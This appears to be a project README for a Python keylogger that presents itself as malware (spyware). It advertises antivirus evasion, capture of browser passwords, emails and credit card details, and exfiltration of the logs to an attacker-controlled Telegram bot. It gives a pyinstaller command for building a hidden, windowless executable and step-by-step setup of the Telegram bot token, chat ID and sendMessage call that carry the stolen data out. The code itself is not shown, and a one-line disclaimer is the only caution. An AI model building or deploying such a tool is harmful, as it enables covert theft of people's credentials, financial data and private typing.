🧠 Key logs are the typed data recorded by a keylogger — basically a “history” of what someone types on their keyboard. A simple keylogger made in python that send the keystrokes to the attacker's server.
It capture the Keylogs, store it locally and periodically upload the file to the Server.
- 🔓 To Bypass AntiVirus
- 🔑 To log the keystrokes of Virtual Keyboard
- 🕵️♂️ Capture all sensitive information from the browser (eg: username, password, email, dob, credit card details etc.)
- 🛠️ Capture all actions nd save it in
.logfile - 📡 This log file sent by my teligram bot in the teligram group where my bot was created
Note: Change the TOKEN and CHAT_ID to your Telegram Bot's Token and it's Chat id respectively, also set INTERVAL according to you time requirements before making it executable. (The variables are in Keylogger.py)
Compile the script using pyinstaller to make the executable file.
pyinstaller --noconsole --onefile keylogger.py- Open Telegram application then search for @BotFather
- Click Start
- Click Menu -> /newbot or type /newbot and hit Send
- Follow the instruction until we get message like so
Done! Congratulations on your new bot. You will find it at t.me/new_bot.
You can now add a description.....
Use this token to access the HTTP API: 63xxxxxx71:AAFoxxxxn0hwA-2TVSxxxNf4c
Keep your token secure and store it safely, it can be used by anyone to control your bot.
For a description of the Bot API, see this page: https://core.telegram.org/bots/api
- So here is our bot token 63xxxxxx71:AAFoxxxxn0hwA-2TVSxxxNf4c (make sure we don't share it to anyone).
- Search and open our new Telegram bot
- Click Start or send a message
- Open this URL in a browser
https://api.telegram.org/bot{our_bot_token}/getUpdates- See we need to prefix our token with a word bot
- Eg:
https://api.telegram.org/bot63xxxxxx71:AAFoxxxxn0hwA-2TVSxxxNf4c/getUpdates
- We will see a json like so
{
"ok": true,
"result": [
{
"update_id": 83xxxxx35,
"message": {
"message_id": 2643,
"from": {...},
"chat": {
"id": 21xxxxx38,
"first_name": "...",
"last_name": "...",
"username": "@username",
"type": "private"
},
"date": 1703062972,
"text": "/start"
}
}
]
}- Check the value of result.0.message.chat.id, and here is our Chat ID: 21xxxxx38
- Let's try to send a message:
https://api.telegram.org/bot63xxxxxx71:AAFoxxxxn0hwA-2TVSxxxNf4c/sendMessage?chat_id=21xxxxx38&text=Successfully Done - When we set the bot token and chat id correctly, the message test123 should be arrived on our Telegram bot chat.
- Add our Telegram bot into a channel
- Send a message to the channel
- Open this URL
https://api.telegram.org/bot{our_bot_token}/getUpdates - We will see a json like so
{
"ok": true,
"result": [
{
"update_id": 838xxxx36,
"channel_post": {...},
"chat": {
"id": -1001xxxxxx062,
"title": "....",
"type": "channel"
},
"date": 1703065989,
"text": "test"
}
}
]
}- Check the value of result.0.channel_post.chat.id, and here is our Chat ID: -1001xxxxxx062
- Let's try to send a message:
https://api.telegram.org/bot63xxxxxx71:AAFoxxxxn0hwA-2TVSxxxNf4c/sendMessage?chat_id=-1001xxxxxx062&text=Successfully Done - When we set the bot token and chat id correctly, the message Successfully Done should be arrived on our Telegram channel.
- Feel free to report any Bug
- Language Used: Python3
- IDE: VS Code
- OS Used: Windows 11
- Category: Malware (Malicious Software)
- Subtype: Spyware
- Specific Type: Keylogger
Contributions are always welcome 🔥
- Last Contribution at
7th October 2025by 🕵️♂️ Anirban Banerjee
🚫 Disclamer: Don't use it to harm other's privacy
Code - Coffee - Repeat ☕